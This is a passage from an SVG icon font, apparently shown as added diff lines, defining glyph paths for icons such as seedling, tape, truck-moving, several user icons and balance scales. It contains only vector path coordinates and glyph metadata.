-14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM96 192 +c53 0 96 -43 96 -96s-96 -160 -96 -160s-96 107 -96 160s43 96 96 96zM96 64c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="seedling" unicode="" +d="M64 352c123.7 0 224 -100.3 224 -224v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v144c-123.7 0 -224 100.3 -224 224h64zM448 416h64c0 -115.9 -88 -211.1 -200.7 -222.8c-10.7998 40.7002 -31.2998 77.3994 -59 107.6 +c38.2998 68.7002 111.5 115.2 195.7 115.2z" /> + <glyph glyph-name="sign" unicode="" +d="M496 384c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-368v-368c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v368h-48c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h48v48c0 8.7998 7.2002 16 16 16h32 +c8.7998 0 16 -7.2002 16 -16v-48h368zM160 64v224h320v-224h-320z" /> + <glyph glyph-name="smile-wink" unicode="" horiz-adv-x="496" +d="M0 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM200 240c0 17.7002 -14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32zM358.5 223.5l9.7002 -8.5c8.39941 -7.5 21.5 -0.299805 19.7998 10.7998 +c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-1.7998 -11.2002 11.5 -18.2002 19.7998 -10.7998l9.5 8.5c14.7998 13.2002 46.2002 13.2002 61 0zM157.8 122.2c-13.3994 16.2998 -38.0996 -4.10059 -24.5996 -20.4004 +c28.5 -34.2002 70.2998 -53.7998 114.8 -53.7998s86.2998 19.5996 114.8 53.7002c13.5 16.2998 -11 36.7002 -24.5996 20.5c-22.4004 -26.7998 -55.2002 -42.2002 -90.2002 -42.2002s-67.7998 15.2998 -90.2002 42.2002z" /> + <glyph glyph-name="tape" unicode="" horiz-adv-x="640" +d="M224 256c35.2998 0 64 -28.7002 64 -64s-28.7002 -64 -64 -64s-64 28.7002 -64 64s28.7002 64 64 64zM624 32c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-400c-123.7 0 -224 100.3 -224 224s100.3 224 224 224s224 -100.3 224 -224 +c0 -62.7002 -25.9004 -119.3 -67.4004 -160h243.4zM224 96c53 0 96 43 96 96s-43 96 -96 96s-96 -43 -96 -96s43 -96 96 -96z" /> + <glyph glyph-name="truck-loading" unicode="" horiz-adv-x="640" +d="M50.2002 72.4004l-49.6006 185.5c-2.2998 8.5 2.80078 17.2998 11.3008 19.5996l77.2998 20.7002l24.7998 -92.7002l61.7998 16.5l-24.7998 92.7002l77.2002 20.7998c8.5 2.2998 17.2998 -2.7998 19.5996 -11.2998l49.7002 -185.5 +c2.2998 -8.5 -2.7998 -17.2998 -11.2998 -19.6006l-216.4 -58c-8.5 -2.2998 -17.2998 2.80078 -19.5996 11.3008zM384 448h256v-400c0 -61.9004 -50.0996 -112 -112 -112c-60.4004 0 -109.2 47.9004 -111.6 107.7l-393.7 -107.4 +c-4.2002 -1.2002 -8.60059 1.2998 -9.7998 5.60059l-12.6006 46.2998c-1.2002 4.2002 1.2998 8.59961 5.60059 9.7998l346.1 94.4004v323.6c0 17.7002 14.2998 32 32 32zM528 0c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48z" /> + <glyph glyph-name="truck-moving" unicode="" horiz-adv-x="640" +d="M621.3 210.7c12 -12 18.7002 -28.2002 18.7002 -45.2002v-85.5c0 -8.7998 -7.2002 -16 -16 -16h-17.5996c1 -5.2002 1.59961 -10.5 1.59961 -16c0 -44.2002 -35.7998 -80 -80 -80s-80 35.7998 -80 80c0 5.5 0.5 10.7998 1.59961 16h-163.199 +c1 -5.2002 1.59961 -10.5 1.59961 -16c0 -44.2002 -35.7998 -80 -80 -80c-26.2998 0 -49.4004 12.7998 -64 32.4004c-14.5996 -19.5 -37.7002 -32.4004 -64 -32.4004c-44.2002 0 -80 35.7998 -80 80v336c0 17.7002 14.2998 32 32 32h416c17.7002 0 32 -14.2998 32 -32 +v-96.0996h37.5c17 0 33.2998 -6.7002 45.2998 -18.7002zM80 16c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32zM208 16c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32zM480 240v-48 +h92.0996l-43.2998 43.2998c-3 3 -7 4.7002 -11.2998 4.7002h-37.5zM528 16c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32z" /> + <glyph glyph-name="video-slash" unicode="" horiz-adv-x="640" +d="M633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.7998 -22.4004l-19.5996 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-178.5 138l-373.3 288.6l-36.5 28.2002c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002c5.5 7 15.5 8.2002 22.5 2.7998 +l78.4004 -60.5996h244.3c26.3994 0 47.7998 -21.4004 47.7998 -47.7998v-178l32 -24.7002v137.2l109.6 75.5996c21.3008 14.6006 50.4004 -0.299805 50.4004 -25.7998v-257c0 -17.4004 -13.7998 -29.7002 -29.2002 -31.0996zM32 47.7998v245.5l365.8 -282.8 +c-8.2002 -6.5 -18.3994 -10.5 -29.5996 -10.5h-288.4c-26.3994 0 -47.7998 21.4004 -47.7998 47.7998z" /> + <glyph glyph-name="wine-glass" unicode="" horiz-adv-x="288" +d="M216 -16c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-208c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h40v117.18c-68.4697 15.8906 -118.05 79.9102 -111.4 154.16l15.96 178.11c0.730469 8.24023 7.55078 14.5498 15.7002 14.5498h223.48 +c8.16016 0 14.9697 -6.30957 15.71 -14.5498l15.9502 -178.101c6.64941 -74.25 -42.9307 -138.27 -111.4 -154.159v-117.19h40z" /> + <glyph glyph-name="user-alt-slash" unicode="" horiz-adv-x="640" +d="M633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.90039 -22.3008l-19.6006 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-588.399 454.7c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002c5.5 7 15.5 8.2002 22.5 2.7998l135.5 -104.8 +c16 62.1006 71.9004 108.2 139 108.2c79.5 0 144 -64.5 144 -144c0 -54.0996 -30.2002 -100.7 -74.4004 -125.3zM198.4 128h47.3994l248.4 -192h-382.2c-26.5 0 -48 21.5 -48 48v9.59961c0 74.2002 60.2002 134.4 134.4 134.4z" /> + <glyph glyph-name="user-astronaut" unicode="" horiz-adv-x="448" +d="M64 224c-8.7998 0 -16 7.2002 -16 16v96c0 8.7998 7.2002 16 16 16h13.5c24.7002 56.5 80.9004 96 146.5 96s121.8 -39.5 146.5 -96h13.5c8.7998 0 16 -7.2002 16 -16v-96c0 -8.7998 -7.2002 -16 -16 -16h-13.5c-24.7002 -56.5 -80.9004 -96 -146.5 -96 +s-121.8 39.5 -146.5 96h-13.5zM104 312v-24c0 -53 43 -96 96 -96h48c53 0 96 43 96 96v24c0 22.0996 -21.5 40 -48 40h-144c-26.5 0 -48 -17.9004 -48 -40zM176 240l-12 36l-36 12l36 12l12 36l12 -36l36 -12l-36 -12zM327.6 126.6c67.5 -7.09961 120.4 -63.5996 120.4 -133 +v-9.59961c0 -26.5 -21.5 -48 -48 -48h-80v64c0 17.7002 -14.2998 32 -32 32h-128c-17.7002 0 -32 -14.2998 -32 -32v-64h-80c-26.5 0 -48 21.5 -48 48v9.59961c0 69.4004 52.9004 125.9 120.4 133c29.8994 -19.2998 65.3994 -30.5996 103.6 -30.5996 +s73.7002 11.2998 103.6 30.5996zM272 0c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16s-16 7.2002 -16 16s7.2002 16 16 16zM176 0c8.7998 0 16 -7.2002 16 -16v-48h-32v48c0 8.7998 7.2002 16 16 16z" /> + <glyph glyph-name="user-check" unicode="" horiz-adv-x="640" +d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996 +c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992zM636.6 288.4c4.60059 -4.60059 4.5 -12.1006 -0.0996094 -16.8008l-141.3 -140.199c-4.7002 -4.60059 -12.2002 -4.60059 -16.7998 0.0996094 +l-81.7002 82.2998c-4.60059 4.7002 -4.60059 12.2002 0.0996094 16.7998l28.1006 27.9004c4.69922 4.59961 12.1992 4.59961 16.7998 -0.0996094l45.5 -45.8008l104.8 104c4.7002 4.60059 12.2002 4.60059 16.7998 -0.0996094z" /> + <glyph glyph-name="user-clock" unicode="" horiz-adv-x="640" +d="M496 224c79.5996 0 144 -64.4004 144 -144s-64.4004 -144 -144 -144s-144 64.4004 -144 144s64.4004 144 144 144zM560 73.7002v12.5996c0 5.2998 -4.40039 9.7002 -9.7002 9.7002h-38.2998v54.2998c0 5.2998 -4.40039 9.7002 -9.7002 9.7002h-12.5996 +c-5.2998 0 -9.7002 -4.40039 -9.7002 -9.7002v-76.5996c0 -5.2998 4.40039 -9.7002 9.7002 -9.7002h60.5996c5.2998 0 9.7002 4.40039 9.7002 9.7002zM320 80c0 -59.5 29.7998 -112.1 75.0996 -144h-347.1c-26.5 0 -48 21.5 -48 48v41.5996 +c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992c8.40039 0 16.6006 -1 24.6006 -2.5c-11.5 -23.4004 -18.2002 -49.7002 -18.2002 -77.5zM224 192c-70.7002 0 -128 57.2998 -128 128 +s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128z" /> + <glyph glyph-name="user-cog" unicode="" horiz-adv-x="640" +d="M610.5 74.7002l25.7998 -14.9004c2.90039 -1.7002 4.2998 -5.2002 3.2998 -8.5c-6.69922 -21.5996 -18.1992 -41.2002 -33.1992 -57.3994c-2.30078 -2.5 -6.10059 -3.10059 -9 -1.40039l-25.8008 14.9004c-10.8994 -9.30078 -23.3994 -16.5 -36.8994 -21.3008v-29.7998 +c0 -3.39941 -2.40039 -6.39941 -5.7002 -7.09961c-21.2002 -4.7998 -43.9004 -5 -66.2002 0c-3.2998 0.700195 -5.7002 3.7002 -5.7002 7.09961v29.7998c-13.5 4.80078 -26 12 -36.8994 21.3008l-25.7998 -14.9004c-3 -1.7002 -6.7002 -1.09961 -9 1.40039 +c-15 16.2998 -26.5 35.7998 -33.2002 57.3994c-1 3.2998 0.299805 6.7998 3.2998 8.5l25.7998 14.9004c-2.59961 14.0996 -2.59961 28.5 0 42.5996l-25.7998 14.9004c-2.90039 1.7002 -4.2998 5.2002 -3.2998 8.5c6.7002 21.5996 18.2002 41.2002 33.2002 57.3994 +c2.2998 2.5 6.09961 3.10059 9 1.40039l25.7998 -14.9004c10.8994 9.30078 23.3994 16.5 36.8994 21.3008v29.7998c0 3.39941 2.40039 6.39941 5.7002 7.09961c21.2002 4.7998 43.9004 5 66.2002 0c3.2998 -0.700195 5.7002 -3.7002 5.7002 -7.09961v-29.7998 +c13.5 -4.80078 26 -12 36.8994 -21.3008l25.8008 14.9004c3 1.7002 6.69922 1.09961 9 -1.40039c15 -16.1992 26.5 -35.7998 33.1992 -57.3994c1 -3.2998 -0.299805 -6.7998 -3.2998 -8.5l-25.7998 -14.9004c2.59961 -14.0996 2.59961 -28.5 0 -42.5996zM496 47.5 +c26.7998 0 48.5 21.7998 48.5 48.5s-21.7998 48.5 -48.5 48.5s-48.5 -21.7998 -48.5 -48.5s21.7002 -48.5 48.5 -48.5zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM425.2 -34.5v-9.2002 +c0 -4.09961 0.799805 -8 2 -11.7998c-7.7002 -5.2998 -17.1006 -8.5 -27.2002 -8.5h-352c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992 +c3.90039 0 7.60059 -0.900391 11.4004 -1.2002c-1 -2.89941 -2.2998 -5.7998 -3.2002 -8.7002c-5.5 -17.6992 1.90039 -36.5 17.9004 -45.6992l7.89941 -4.60059c-0.0996094 -2.59961 -0.0996094 -5.2002 0 -7.7998l-7.89941 -4.59961 +c-16 -9.30078 -23.4004 -28 -17.9004 -45.7002c7.90039 -25.7002 21.9004 -49.7998 40.2002 -69.6006c7.5 -8 18 -12.5996 28.9004 -12.5996c6.7998 0 13.5996 1.90039 19.5996 5.2998l7.90039 4.60059c2.19922 -1.30078 4.5 -2.7002 6.7998 -3.90039z" /> + <glyph glyph-name="user-edit" unicode="" horiz-adv-x="640" +d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c39.9004 0 75.4004 -17.7998 99.9004 -45.5l-77.2998 -77.2998l-7.90039 -7.90039l-1.2002 -11.0996l-6.7998 -60.9004 +c-0.799805 -7.2998 0.200195 -14.5 2.60059 -21.2998h-274.9c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992zM358.9 14.7002l137.899 137.8l71.7002 -71.7002 +l-137.9 -137.899l-60.8994 -6.80078c-10.1006 -1.19922 -18.7002 7.40039 -17.6006 17.6006zM633 179.1c9.2998 -9.39941 9.2998 -24.5 0 -33.8994l-41.7998 -41.7998l-71.7998 71.6992l4.09961 4.10059l37.7998 37.7998c9.2998 9.2998 24.5 9.2998 33.7998 0z" /> + <glyph glyph-name="user-friends" unicode="" horiz-adv-x="640" +d="M192 192c-61.9004 0 -112 50.0996 -112 112s50.0996 112 112 112s112 -50.0996 112 -112s-50.0996 -112 -112 -112zM268.8 160c63.6006 0 115.2 -51.5996 115.2 -115.2v-28.7998c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v28.7998 +c0 63.6006 51.5996 115.2 115.2 115.2h8.2998c20.9004 -10 43.9004 -16 68.5 -16s47.7002 6 68.5 16h8.2998zM480 192c-53 0 -96 43 -96 96s43 96 96 96s96 -43 96 -96s-43 -96 -96 -96zM528 160c61.9004 0 112 -50.0996 112 -112c0 -26.5 -21.5 -48 -48 -48h-176.6 +c0.0996094 2.09961 0.599609 4.2002 0.599609 6.40039v38.3994c0 38.6006 -15.2998 73.5 -39.7002 99.7998c16.5 9.5 35.2998 15.4004 55.7002 15.4004h3.7998c13.9004 -4.7998 28.6006 -8 44.2002 -8s30.2998 3.2002 44.2002 8h3.7998z" /> + <glyph glyph-name="user-graduate" unicode="" horiz-adv-x="448" +d="M319.4 127.4c71.5 -3.10059 128.6 -61.6006 128.6 -133.801v-9.59961c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v9.59961c0 72.2002 57.0996 130.7 128.6 133.801l95.4004 -95.4004zM13.5996 368.2c-18.0996 4.39941 -18.0996 27.2002 0 31.5996 +l190.601 45.9004c13 3.09961 26.7002 3.09961 39.7002 0l190.399 -46c18.2002 -4.40039 18.2002 -27.1006 0 -31.5l-96.2998 -23.2002c8.7002 -17.2002 14 -36.4004 14 -57c0 -70.7002 -57.2998 -128 -128 -128s-128 57.2998 -128 128c0 20.5996 5.40039 39.7998 14 57 +l-66 15.9004v-52.6006c7 -4.2002 12 -11.5 12 -20.2998c0 -8.40039 -4.59961 -15.4004 -11.0996 -19.7002l15.5996 -62.2998c1.7002 -6.90039 -2.09961 -14 -7.59961 -14h-41.8008c-5.5 0 -9.2998 7.09961 -7.59961 14l15.5996 62.2998 +c-6.5 4.2998 -11.0996 11.2998 -11.0996 19.7002c0 8.7998 5 16.0996 12 20.2998v58.4004z" /> + <glyph glyph-name="user-lock" unicode="" horiz-adv-x="640" +d="M224 192c-70.6455 0 -128 57.3545 -128 128s57.3545 128 128 128s128 -57.3545 128 -128s-57.3545 -128 -128 -128zM320 128v-160c0.0791016 -11.6504 3.3418 -22.6367 8.90039 -32h-280.9c-26.4922 0 -48 21.5078 -48 48v41.5996 +c0.0166016 74.1699 60.2305 134.384 134.4 134.4h16.6992c22.1426 -10.2109 47.085 -15.9072 73.0498 -15.9072c25.9639 0 50.6084 5.69629 72.751 15.9072h16.6992c5 0 9.7002 -1 14.5 -1.5c-5.06641 -9.00684 -8.02539 -19.4561 -8.09961 -30.5zM608 160 +c17.6611 0 32 -14.3389 32 -32v-160c0 -17.6611 -14.3389 -32 -32 -32h-224c-17.6611 0 -32 14.3389 -32 32v160c0 17.6611 14.3389 32 32 32h32v80c0 44.1533 35.8467 80 80 80s80 -35.8467 80 -80v-80h32zM496 16c17.6611 0 32 14.3389 32 32s-14.3389 32 -32 32 +s-32 -14.3389 -32 -32s14.3389 -32 32 -32zM528 160v80c0 17.6611 -14.3389 32 -32 32s-32 -14.3389 -32 -32v-80h64z" /> + <glyph glyph-name="user-minus" unicode="" horiz-adv-x="640" +d="M624 240c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-192c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h192zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128z +M313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992z" /> + <glyph glyph-name="user-ninja" unicode="" horiz-adv-x="448" +d="M325.4 158.8c68.5996 -6.09961 122.6 -63 122.6 -133.2v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996c0 70.2002 54 127.101 122.6 133.2l101.4 -101.399zM32 256c0 33.4004 17.0996 62.7998 43.0996 80 +c-26 17.2002 -43.0996 46.5996 -43.0996 80c32 0 60.0996 -15.7998 77.5 -39.7998c20.9004 42.3994 64.0996 71.7998 114.5 71.7998c70.7002 0 128 -57.2998 128 -128s-57.2998 -128 -128 -128c-58.7998 0 -107.7 39.7998 -122.8 93.7002 +c-17.4004 -18.2002 -41.9004 -29.7002 -69.2002 -29.7002zM176 352c-17.7002 0 -32 -14.2998 -32 -32h160c0 17.7002 -14.2998 32 -32 32h-96z" /> + <glyph glyph-name="user-shield" unicode="" horiz-adv-x="640" +d="M622.3 176.9c10.7002 -4.2002 17.7002 -14 17.7002 -24.9004c0 -124.5 -81.5996 -193.9 -132.9 -213.9c-4.19922 -1.59961 -12.5996 -3.69922 -22.1992 0c-64.2002 25.1006 -132.9 102.301 -132.9 213.9c0 10.9004 7 20.7002 17.7002 24.9004l115.2 45 +c9.59961 3.69922 18.0996 1.59961 22.1992 0zM496 -14.4004c34.5996 16.4004 89.9004 64.7002 95.5 151.801l-95.5 37.2998v-189.101zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM320 152 +c0 -95.2998 45.2002 -169.1 99.2002 -212c-5.90039 -2.5 -12.4004 -4 -19.2002 -4h-352c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992 +c2.60059 0 5 -0.700195 7.5 -0.799805c-0.299805 -2.40039 -1.09961 -4.7002 -1.09961 -7.2002z" /> + <glyph glyph-name="user-slash" unicode="" horiz-adv-x="640" +d="M633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.90039 -22.3008l-19.6006 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-588.399 454.7c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002c5.5 7 15.5 8.2002 22.5 2.7998l147.6 -114 +c5.40039 65.6006 59.8008 117.4 126.9 117.4c70.7002 0 128 -57.2998 128 -128c0 -55.7998 -35.9004 -102.7 -85.7002 -120.3zM96 25.5996c0 66.4004 48.2002 121.101 111.4 132.101l286.8 -221.7h-350.2c-26.5 0 -48 21.5 -48 48v41.5996z" /> + <glyph glyph-name="user-tag" unicode="" horiz-adv-x="640" +d="M630.6 83.0996c12.5 -12.5 12.5 -32.6992 -0.0996094 -45.1992l-92.5 -92.5c-12.5 -12.5 -32.7998 -12.5 -45.2998 0l-90.2998 90.1992c-12 12 -18.7002 28.2002 -18.7002 45.2002v79.2002c0 17.7002 14.2998 32 32 32h79.2998c17 0 33.2998 -6.7002 45.2998 -18.7002z +M447.8 104.1c13.2998 0 24 10.8008 24 24c0 13.3008 -10.7002 24 -24 24s-24 -10.6992 -24 -24c0 -13.2998 10.7002 -24 24 -24zM224 192.1c-70.7002 0 -128 57.3008 -128 127.9c0 70.7002 57.2998 128 128 128s128 -57.2998 128 -127.9c0 -70.6992 -57.2998 -128 -128 -128 +zM351.8 80.9004c0 -25.7002 10 -49.8008 28.1006 -67.9004l58 -58c-8.80078 -11.4004 -22.4004 -18.9004 -37.9004 -18.9004h-352c-26.5 0 -48 21.5 -48 48v41.6006c0 74.2002 60.2002 134.399 134.4 134.5h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16 +s50.7002 5.7998 72.9004 16h16.6992c13.3008 0 26 -2.60059 38.2002 -6.2002v-73.0996z" /> + <glyph glyph-name="user-tie" unicode="" horiz-adv-x="448" +d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM319.8 159.4c71.2998 -3.40039 128.2 -61.7002 128.2 -133.801v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996 +c0 72.1006 56.9004 130.4 128.2 133.801l47.7998 -191.4l32 136l-32 56h96l-32 -56l32 -136z" /> + <glyph glyph-name="users-cog" unicode="" horiz-adv-x="640" +d="M610.5 106.7l25.7998 -14.9004c2.90039 -1.7002 4.2998 -5.2002 3.2998 -8.5c-6.69922 -21.5996 -18.1992 -41.2002 -33.1992 -57.3994c-2.30078 -2.5 -6.10059 -3.10059 -9 -1.40039l-25.8008 14.9004c-10.8994 -9.30078 -23.3994 -16.5 -36.8994 -21.3008v-29.7998 +c0 -3.39941 -2.40039 -6.39941 -5.7002 -7.09961c-21.2002 -4.7998 -43.9004 -5 -66.2002 0c-3.2998 0.700195 -5.7002 3.7002 -5.7002 7.09961v29.7998c-13.5 4.80078 -26 12 -36.8994 21.3008l-25.7998 -14.9004c-3 -1.7002 -6.7002 -1.09961 -9 1.40039 +c-15 16.2998 -26.5 35.7998 -33.2002 57.3994c-1 3.2998 0.299805 6.7998 3.2998 8.5l25.7998 14.9004c-2.59961 14.0996 -2.59961 28.5 0 42.5996l-25.7998 14.9004c-2.90039 1.7002 -4.2998 5.2002 -3.2998 8.5c6.7002 21.5996 18.2002 41.2002 33.2002 57.3994 +c2.2998 2.5 6.09961 3.10059 9 1.40039l25.7998 -14.9004c10.8994 9.30078 23.3994 16.5 36.8994 21.3008v29.7998c0 3.39941 2.40039 6.39941 5.7002 7.09961c21.2002 4.7998 43.9004 5 66.2002 0c3.2998 -0.700195 5.7002 -3.7002 5.7002 -7.09961v-29.7998 +c13.5 -4.80078 26 -12 36.8994 -21.3008l25.8008 14.9004c3 1.7002 6.69922 1.09961 9 -1.40039c15 -16.1992 26.5 -35.7998 33.1992 -57.3994c1 -3.2998 -0.299805 -6.7998 -3.2998 -8.5l-25.7998 -14.9004c2.59961 -14.0996 2.59961 -28.5 0 -42.5996zM496 79.5 +c26.7998 0 48.5 21.7998 48.5 48.5s-21.7998 48.5 -48.5 48.5s-48.5 -21.7998 -48.5 -48.5s21.7002 -48.5 48.5 -48.5zM96 224c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM320 192c-61.9004 0 -112 50.0996 -112 112 +s50 111.9 111.9 111.9c61.8994 0 112 -50.1006 112 -112c0 -17.2002 -4.2002 -33.4004 -11.2002 -48c-0.799805 -0.5 -1.60059 -0.900391 -2.40039 -1.40039l-7.89941 4.59961c-5.90039 3.5 -12.7002 5.30078 -19.6006 5.30078c-11 0 -21.5 -4.60059 -28.8994 -12.6006 +c-15.8008 -17.0996 -28 -37.5 -36.3008 -59.2002c-1.89941 -0.0996094 -3.69922 -0.599609 -5.59961 -0.599609zM425.2 -2.5v-9.2002c0 -7.5 2.5 -14.2998 6.2002 -20.2998h-255.4c-26.5 0 -48 21.5 -48 48v28.7998c0 63.6006 51.5996 115.2 115.3 115.2h8.2998 +c20.9004 -10 43.9004 -16 68.5 -16c3.30078 0 6.5 0.400391 9.80078 0.599609c2.7998 -3.09961 6 -5.89941 9.7998 -8.09961l7.89941 -4.59961c-0.0996094 -2.60059 -0.0996094 -5.2002 0 -7.80078c-0.899414 -0.599609 -36.5 -15.7998 -25.7998 -50.2998 +c7.90039 -25.7002 21.9004 -49.7998 40.2002 -69.5996c7.5 -8 18 -12.6006 28.9004 -12.6006c12.1992 0 19.2998 5 27.5 9.80078c2.19922 -1.30078 4.5 -2.7002 6.7998 -3.90039zM173.1 173.4c-40.2998 -22.1006 -68.8994 -62 -75.1992 -109.4h-65.9004 +c-17.7002 0 -32 14.2998 -32 32v32c0 35.2998 28.7002 64 64 64h64c17.5996 0 33.5 -7.09961 45.0996 -18.5996z" /> + <glyph glyph-name="balance-scale-left" unicode="" horiz-adv-x="640" +d="M528 0c8.83984 0 16 -7.16016 16.0098 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-224c-8.83984 0 -16 7.16016 -16 16v342.75c-4.55957 2 -8.91992 4.34961 -12.9902 7.12012l-142.05 -47.6299c-8.37988 -2.81055 -17.4502 1.7002 -20.2598 10.0801l-10.1699 30.3398 +c-2.80957 8.37988 1.7002 17.4502 10.0801 20.2598l128.39 43.0498c-0.419922 3.32031 -1.00977 6.60059 -1.00977 10.0303c0 44.1797 35.8203 80 80 80c29.6904 0 55.2998 -16.3604 69.1104 -40.3701l117.92 39.5303c8.37988 2.80957 17.4502 -1.7002 20.2598 -10.0801 +l10.1699 -30.3398c2.80957 -8.37988 -1.7002 -17.4502 -10.0801 -20.2598l-132 -44.2607c-7.28027 -21.25 -22.96 -38.5293 -43.3799 -47.4697v-294.75h176zM639.98 144c0 -44.1797 -57.29 -80 -127.98 -80s-128 35.8203 -128 80h0.0195312 +c0 15.6699 -2.0791 7.25 85.04 181.51c17.6807 35.3604 68.2207 35.29 85.8701 0c86.3906 -172.779 85.0508 -165.33 85.0508 -181.51zM440 160h144l-72 144zM170.93 197.51c86.3906 -172.779 85.0508 -165.33 85.0508 -181.51h0.0195312c0 -44.1797 -57.3096 -80 -128 -80 +s-128 35.8203 -128 80h0.0195312c0 15.6699 -2.0791 7.25 85.04 181.51c17.6807 35.3604 68.2207 35.29 85.8701 0zM56 32h144l-72 144z" /> + <glyph glyph-name="balance-scale-right" unicode="" horiz-adv-x="640" +d="M96 -16c0 8.83984 7.16016 16 16 16h175.99v294.76c-20.4199 8.93066 -36.1006 26.2207 -43.3799 47.4707l-132 44.2598c-8.37012 2.80957 -12.8906 11.8799 -10.0801 20.2598l10.1699 30.3398c2.80957 8.37012 11.8799 12.8906 20.2598 10.0801l117.93 -39.54 +c13.8105 24.0098 39.4199 40.3701 69.1104 40.3701c44.1797 0 80 -35.8203 80 -80c0 -3.42969 -0.589844 -6.70996 -1.00977 -10.0303l128.399 -43.0498c8.37012 -2.80957 12.8906 -11.8799 10.0801 -20.2598l-10.1699 -30.3398 +c-2.80957 -8.37012 -11.8799 -12.8906 -20.2598 -10.0801l-142.05 47.6299c-4.07031 -2.77051 -8.43066 -5.12012 -12.9902 -7.12012v-342.75c0 -8.83984 -7.16016 -16 -16 -16h-224c-8.83984 0 -16 7.16016 -16 16v32zM0 144c0 16.1797 -1.32031 8.73047 85.0596 181.51 +c17.6504 35.29 68.1904 35.3604 85.8701 0c87.1299 -174.26 85.0508 -165.84 85.0508 -181.51h0.0195312c0 -44.1797 -57.3096 -80 -128 -80s-128 35.8203 -128 80zM56 160h144l-72 144zM384.02 16c0 16.1797 -1.33984 8.73047 85.04 181.51 +c17.6504 35.29 68.1904 35.3604 85.8701 0c87.1299 -174.26 85.0508 -165.84 85.0508 -181.51h0.0195312c0 -44.1797 -57.3096 -80 -128 -80s-128 35.8203 -128 80h0.0195312zM440 32h144l-72 144z" /> + <glyph 